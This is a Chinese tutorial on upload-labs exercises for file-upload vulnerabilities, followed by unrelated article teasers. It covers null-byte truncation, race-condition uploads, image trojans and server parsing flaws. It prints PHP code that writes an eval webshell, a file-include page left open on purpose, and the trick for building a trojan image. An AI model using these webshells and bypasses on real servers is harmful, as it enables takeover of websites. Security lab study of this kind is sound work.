文件上传漏洞-下篇

一、白名单绕过

目录路径检测绕过

00截断
  • 简介:

0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。

  • 饶过条件

image.png

  1. 利用操作:Pass-12
    1. 要求:上传路径可控
    2. 步骤:切换版本,修改配置,正常上传服务器需要的文件类型,在点击上传按钮时,抓包并修改其路径信息,再发送到服务器中。

image.png
image.png

  • 原始包信息
  • image.png
  • 修改包信息
  • image.png
  • 结果:
  • image.png
  1. 利用操作:Pass-13
    1. 步骤:和12关类似,区别就是在添加00时 ,是通过先随便添加一个符号作为占位符,再将占位符的十六进制修改为xx
// ../upload/
// 先在../upload/添加分号
../upload/;
//在找到分好十六进制处,修改为00

  1. ![image.png](https://cdn.nlark.com/yuque/0/2024/png/38516294/1719016858361-13759627-b96f-4a3f-9bd4-50ff8a4646d1.png#averageHue=%232f2c2c&clientId=u110fa9f8-157e-4&from=paste&height=620&id=u9f768274&originHeight=620&originWidth=1246&originalType=binary&ratio=1&rotation=0&showTitle=false&size=73914&status=done&style=none&taskId=ua7a6d47d-b723-458f-921c-4e9d650850a&title=&width=1246)

条件竞争绕过

  • 简介

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同的请求的时候,是并发进行的,因此如果并发处理不当或者相关操作顺序设计的不合理时。将会导致此类问题的发生。

  • 原理
    • 先上传文件,再进行文件验证,不符合再删除文件。

image.png

  • 示例:Pass-18
    • 步骤:1、正常上传文件并抓包,并发送到爆破模块中。
# m.php
<?php
    $w = fopen("text.php","w"); # 以写入模式创建文件
    fputs($w, "<?php @eval($_POST['cmd']); ?>");
  ?>

  • 2 、构建访问上传文件的路径并抓包发送到爆破模块中。
  // 路径
http://10.196.93.67/upload-labs/upload/m.php
  • 3、将两个包修改为循环抓包,开始条件竞争,只要成功写入一次就可以绕过成功。
  • image.png

二、图片木马

扩展:
文件包含漏洞:

# 可以木马通过get方式当做file的值,传入到服务器中。
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

简介

图片木马就是讲一句话木马插入到一个"合法"的图片里面,然后在用菜刀远程连接,那么使用图片木马是需要配合解析漏洞和文件包含漏洞的。

图片木马的制作

  • 注意:准备的图片要确保服务器可以正常解析。
  • 准备工作:一张图片;包含木马的php文件。
  • 进入cmd
# 命令
copy  图片名 /b +  php文件 /a 生成的文件名

image.png

示例:Pass-14

image.png
访问图片路径:http://10.196.93.67/upload-labs/upload/8420240622094601.png
利用文件包含漏洞
URL:http://10.196.93.67/upload-labs/include.php?file=upload/8420240622094601.png
image.png
蚂剑:
image.png
image.png

示例:Pass-16

和上方利用方式一样,区别需要修改php.ini文件
image.png

#打开扩展,重启服务
extension=php_exif.dll

示例:Pass-17

  • 二次渲染
 //使用上传的图片生成新的图片
 $im = imagecreatefromjpeg($target_path);
  • 二次渲染绕过方式
# 先上传一张正常的图片,经过二次渲染后,将渲染后的图片下载,对比原图片
# 分析找到没有渲染的地方,再将木马加入到此处

三、文件解析漏洞

简介

解析漏洞是指服务器应用程序在解析某些精心构造的后缀文件时,会将其解析成网页脚本,从而导致网站的沦陷。大部分解析漏洞的产生都是由应用程序(中间件)本身的漏洞导致的。此类漏洞中具有代表性的便是iis6.0解析漏洞,此漏洞又有目录解析和文件解析两种利用方式,但也有少部分是由于配置的疏忽所产生的,如nginx<8.03的畸形解析漏洞。

常见的解析漏洞

image.png

IIS5.X-6.X解析漏洞

  • 漏洞介绍
使用jis5.x版本的服务器,大多为windowsserver2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析asp文件。
目录解析(6.0)
形式: www.xx.com/xx.asp/xx.jpg
原理:服务器默认会把。asp,.asp目录下的文件都解析成asp文件
形式: www.xx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;jpg便被解析成asp文件了。
解析文件类型
iis6.0默认的可执行文件除了asp还包含这三种:
/test.asa
/test.cer
/test.cdx
  • 修复
目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;jpg类型的文件名。
做好权限设置,限制用户创建文件夹。  

Apache解析漏洞

image.png
image.png

nginx解析漏洞

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/733321.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

关于application/x-www-form-urlencoded跟application/json请求的区别

当你的java方法是这样定义的 PostMapping("/rePushMedicalRecord") public String rePushMedicalRecord(RequestParam("topicId") String topicId){ } 参数是RequestParam接收&#xff0c;则请求时需要用application/x-www-form-urlencoded请求 如果是R…

多重排序【今日题记】

多重排序 多重排序题目分析思路代码代码结构体知识多重排序 需要对多个条件进行排序,因此可以称之为多重排序。 题目 某生物实验室记录了n种(n<=1000)病毒信息,每种病毒都有编号、传染性和致病性三个基本信息,编号是1000-9999的人工编号,其中的传染性和致病性是用0-10…

移动端的HSR技术

overdraw问题&#xff1a; overdraw顾名思义就是过度绘制&#xff0c;就是在渲染过程中**绘制一帧FBO&#xff08;或者RenderTarget&#xff09;**超过一次相同像素的现象!这个是CG的问题&#xff01;特别在是用来大量的透明混合的情况下会产生的&#xff0c;当然客户端andrio…

艾多美用“艾”为生命加油,献血活动回顾

用艾为生命加油 6月10日~16日&#xff0c;艾多美中国开启献血周活动&#xff0c;已经陆续收到来自烟台总部、山东、广东、河南、四川、重庆、贵阳&#xff0c;乌鲁木齐&#xff0c;吉林&#xff0c;等地区的艾多美员工、会员、经销商发来的爱心助力&#xff0c;截止到目前&…

KIVY BLOG Kivy tutorial 007: Introducing kv language

Kivy tutorial 007: Introducing kv language – Kivy Blog DECEMBER 18, 2019 BY ALEXANDER TAYLOR Kivy tutorial 007: Introducing kv language Kivy 导师课007&#xff1a; 介绍kv语言 Central themes: kv language, building a gui, integration with Python 中心主题:…

【React】富文本编辑器react-quill

安装 react-quill 富文本编辑器 npm i react-quill2.0.0-beta.2报错解决&#xff1a; npm i react-quill2.0.0-beta.2 --legacy-peer-deps导入编辑器组件和配套样式文件 import ReactQuill from react-quill // 1 import react-quill/dist/quill.snow.css // 2const Publi…

JR-8000系列机架式多路4K超高清光端机

集中式 4K超高清光传输设备 1 产品特性 ⚫ 支持高达 8 通道 SMPTE 全格式 SDI 信号输入 ⚫ 发送端带有 LOOPOUT 环出端口&#xff0c;具备消抖动功能&#xff0c;可作为信号调理或级联信号源使用 ⚫ 接收端支持双输出端口 ⚫ 支持传输速率&#xff1a;143Mbps-11.88Gbps ⚫…

Redis源码学习:ziplist的数据结构和连锁更新问题

ziplist ziplist 是 Redis 中一种紧凑型的列表结构&#xff0c;专门用来存储元素数量少且每个元素较小的数据。它是一个双端链表&#xff0c; 可以在任意一端进行压入/弹出操作&#xff0c;并且该操作的时间复杂度为O(1)。 ziplist数据结构 <zlbytes><zltail>&l…

CS162 Operating System-lecture2

A tread is suspended or no longer executing when its state’s not loaded in registers the point states is pointed at some other thread .so the thread that’s suspended is actually siting in memory and not yet executing or not executing at all with some thi…

Antd Table 表格 拖拽列宽

antd 的表格组件的列宽&#xff0c;是通过width属性去初始化的&#xff0c;有时候渲染的内容不固定&#xff0c;这个宽做不到通用所以研究怎么实现表格列宽拖动&#xff0c;主要的实现步骤如下&#xff1a; 使用table的components API修改表格头部为 react-resizable提供的组件…

实验13 BGP路径选择

实验13 BGP路径选择 一、 原理描述二、 实验目的三、 实验内容四、 实验配置五、 实验步骤 一、 原理描述 与域内路由不同&#xff0c;域间路由更加注重策略&#xff0c;而不是技术。在域内进行选路&#xff0c;可以使用路由算法计算出到达目的子网的最短路径&#xff1b;而在…

cocos 如何使用九宫格图片,以及在微信小程序上失效。

1.在图片下方&#xff0c;点击edit。 2.拖动线条&#xff0c;使四角不被拉伸。 3.使用。 其他 在微信小程序上失效&#xff0c;需要将packable合图功能取消掉。

[保姆级教程]uniapp实现底部导航栏

文章目录 前置准备工作安装HBuilder-X新建uniapp项目教程使用HBuilder-X启动uniapp项目教程 实现底部导航栏package.json中配置导航栏详细配置内容 前置准备工作 安装HBuilder-X 详细步骤可看上文》》 新建uniapp项目教程 详细步骤可看上文》》 使用HBuilder-X启动uniapp项…

帆软使用总结-新建填报报表

1.界面设计 选择菜单[文件>新建普通报表] 2.分别把B3、C3设置为文本控件 3.选中D3&#xff0c;并设置为下拉控件 4.选择菜单[模板>报表填报属性] 5.选择菜单[模板>模板web属性] 2.效果演示

Day5(和为s的两个数字)双指针

输入一个递增排序的数组和一个数字s&#xff0c;在数组中查找两个数&#xff0c;使得它们的和正好是s。如果有多对数字的和等于s&#xff0c;则输出任意一对即可。 二、思路 1.首先&#xff0c;将不符合要求的值给排除&#xff0c;有以下三种&#xff1a; 数组元素个数不足两个…

基于JSP的交通事故档案管理系统

开头语&#xff1a;你好&#xff0c;我是计算机学长猫哥&#xff0c;如果你对系统有更多的期待或建议&#xff0c;欢迎随时联系我。 开发语言&#xff1a;Java 数据库&#xff1a;MySQL 技术&#xff1a;JSPJava 工具&#xff1a;ECLIPSE、Tomcat 系统展示 首页 管理员界…

深入理解计算机系统 CSAPP 家庭作业6.46

理解题意:G是有向图g的邻接矩阵 G[j*dim i] G[j*dim i] || G[i*dim j]; 通过i和j遍历G中的所有元素,||运算将遍历到的元素对称起来. 下面我们来优化col_convert(int *G, int dim) : void col_convert(int N, int G[N][N], int bsize) {if(bsize < 0 || bsize > N…

堆的实现详解

目录 1. 堆的概念和特点2. 堆的实现2.1 堆向下调整算法2.2堆的创建2.3 建堆时间复杂度2.4 堆的插入2.5 堆的删除2.6 堆的代码实现2.6.1 结构体2.6.2 初始化2.6.3 销毁2.6.4 插入2.6.5 删除2.6.6 获取堆顶2.6.7 判空2.6.8 个数2.6.9 向上调整2.6.10 向下调整3. 堆的实现测试测试…

191.回溯算法:组合总和|||(力扣)

代码解决 class Solution { public:vector<vector<int>> result; // 存储所有符合条件的组合vector<int> res; // 当前组合// 回溯函数void backtracing(int k, int n, int index, int sum) {// 如果当前组合的长度等于k&#xff0c;且总和等于nif (res.si…

编写水文专业串口通讯软件的开发经历

编写水文专业串口通讯软件的开发经历 一、关于开发 YAC9900 水位雨量 RTU 通讯软件二、软件开发遇到的问题和困难1、开发架构的适应2、开发语言的学习3、.net core 8 架构中串口构建的难点4、YAC9900 水位雨量 RTU 通讯软件开发中的 UI 冻结 三、发现问题解决问题的具体办法1、…